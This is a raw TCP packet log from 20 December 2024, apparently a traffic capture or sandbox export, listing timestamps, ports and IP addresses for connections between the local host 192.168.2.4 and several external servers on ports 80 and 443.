Dec 20, 2024 07:12:40.548923016 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548934937 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548981905 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549022913 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549063921 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549164057 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549175978 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549189091 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549252987 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549264908 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549348116 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549385071 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549444914 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549516916 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549576998 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549588919 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549675941 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549689054 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549762964 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549776077 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549819946 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549843073 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549880981 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.549998999 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.550012112 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.550189972 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.550201893 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.550214052 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.550225019 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.550235987 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666174889 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666201115 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666213036 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666227102 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666290998 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666336060 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666348934 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.666706085 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.666831970 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.667484045 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667506933 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667624950 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667637110 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667697906 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667737961 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667854071 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667866945 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667881012 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667900085 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.667994976 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668029070 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668081045 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668124914 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668199062 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668211937 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668294907 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668327093 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668415070 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668437004 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668484926 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668508053 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668607950 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668633938 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668679953 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668721914 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668761969 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668776035 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668843985 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668859005 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668898106 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668911934 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668977976 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.668992043 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669034004 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669047117 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669131041 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669143915 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669245005 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669258118 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669271946 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669301987 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669368029 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669389963 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669434071 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669511080 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669523954 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669610977 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669625044 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669636965 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669722080 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669734955 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669745922 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.669758081 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.670058012 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.786446095 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786458969 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786521912 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786544085 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786593914 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786657095 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786756992 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786778927 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786880970 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786912918 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.786967993 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787034035 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787151098 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787272930 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787286043 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787298918 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787482977 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787652016 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787744045 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787805080 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787911892 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.787925959 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788033009 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788053989 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788157940 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788172007 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788224936 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788244963 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788260937 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788300037 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788351059 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788399935 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788472891 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788492918 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788587093 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788599014 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788703918 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788717031 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788826942 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788849115 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788938999 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788960934 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.788975000 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789040089 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789052963 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789076090 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789150953 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789165020 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789251089 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789266109 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789356947 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789417982 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789477110 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789531946 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789760113 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789856911 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789896965 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789928913 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.789977074 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790029049 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790132046 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790143967 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790178061 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790209055 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790313005 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790326118 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790436029 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790447950 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790549040 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790630102 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790648937 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790719986 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790813923 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790854931 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790899038 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790911913 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790982962 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.790994883 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791057110 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791137934 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791263103 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791275024 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791290045 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791362047 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791376114 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791484118 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791497946 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791579008 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791591883 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791632891 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791646004 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791718006 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.791763067 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:41.002749920 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:41.002820969 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:41.002908945 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:41.005287886 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:41.005321980 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.228486061 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.228584051 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.229847908 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.229877949 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.230384111 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.232225895 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.233144045 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.233194113 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.233326912 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.233371973 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.233601093 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.233654022 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.235024929 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235071898 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.235234022 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235280991 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.235469103 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235512018 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.235542059 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235570908 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.235661030 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235698938 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.235744953 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235824108 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.235887051 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.247303009 CET	49832	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:42.247720003 CET	49859	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:42.279373884 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.280527115 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.280569077 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.280610085 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.280647039 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.280697107 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:42.280720949 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:42.367295027 CET	80	49859	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:42.367362976 CET	80	49832	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:42.367455006 CET	49832	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:42.367458105 CET	49859	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:42.367639065 CET	49859	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:42.487137079 CET	80	49859	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:42.601284981 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:42.601437092 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:42.601527929 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:42.601820946 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:42.721276045 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:42.875767946 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:42.995347977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:42.995439053 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:42.995728016 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:43.115142107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:43.775013924 CET	80	49859	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:43.775072098 CET	49859	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:43.776062965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:43.776443958 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:43.898386002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:43.898410082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:43.898535013 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:43.898549080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:43.898741961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:44.018495083 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:44.586873055 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:44.587106943 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:44.587276936 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:44.587404966 CET	49853	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:44.587426901 CET	443	49853	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:44.602551937 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:44.602577925 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:44.602677107 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:44.602948904 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:44.602962017 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:44.612759113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612777948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612802029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612827063 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.612860918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612900019 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.612932920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612948895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612963915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612979889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.612986088 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.613014936 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.613107920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.613122940 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.613159895 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.732374907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.732477903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.732526064 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.736618042 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.791121960 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.804754972 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.804841042 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.804986000 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.809015989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.809067011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.809118032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.817378044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.817436934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.817478895 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.825699091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.825754881 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.825798035 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.834197044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.834265947 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.834316015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.842420101 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.842530966 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.842567921 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.850840092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.850990057 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.851028919 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.859273911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.859357119 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.859395981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.867654085 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.867789030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.867832899 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.876009941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.876100063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.876138926 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.910795927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.910942078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.911083937 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.914999008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.962846041 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.996850967 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.996968031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.997117043 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:44.999336958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.999389887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:44.999433041 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.004065037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.004172087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.004213095 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.008837938 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.008940935 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.008982897 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.013627052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.013715029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.013756037 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.018423080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.018544912 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.018582106 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.023180962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.023344040 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.023389101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.027983904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.028043985 CET	80	49862	147.45.113.159	192.168.2.4
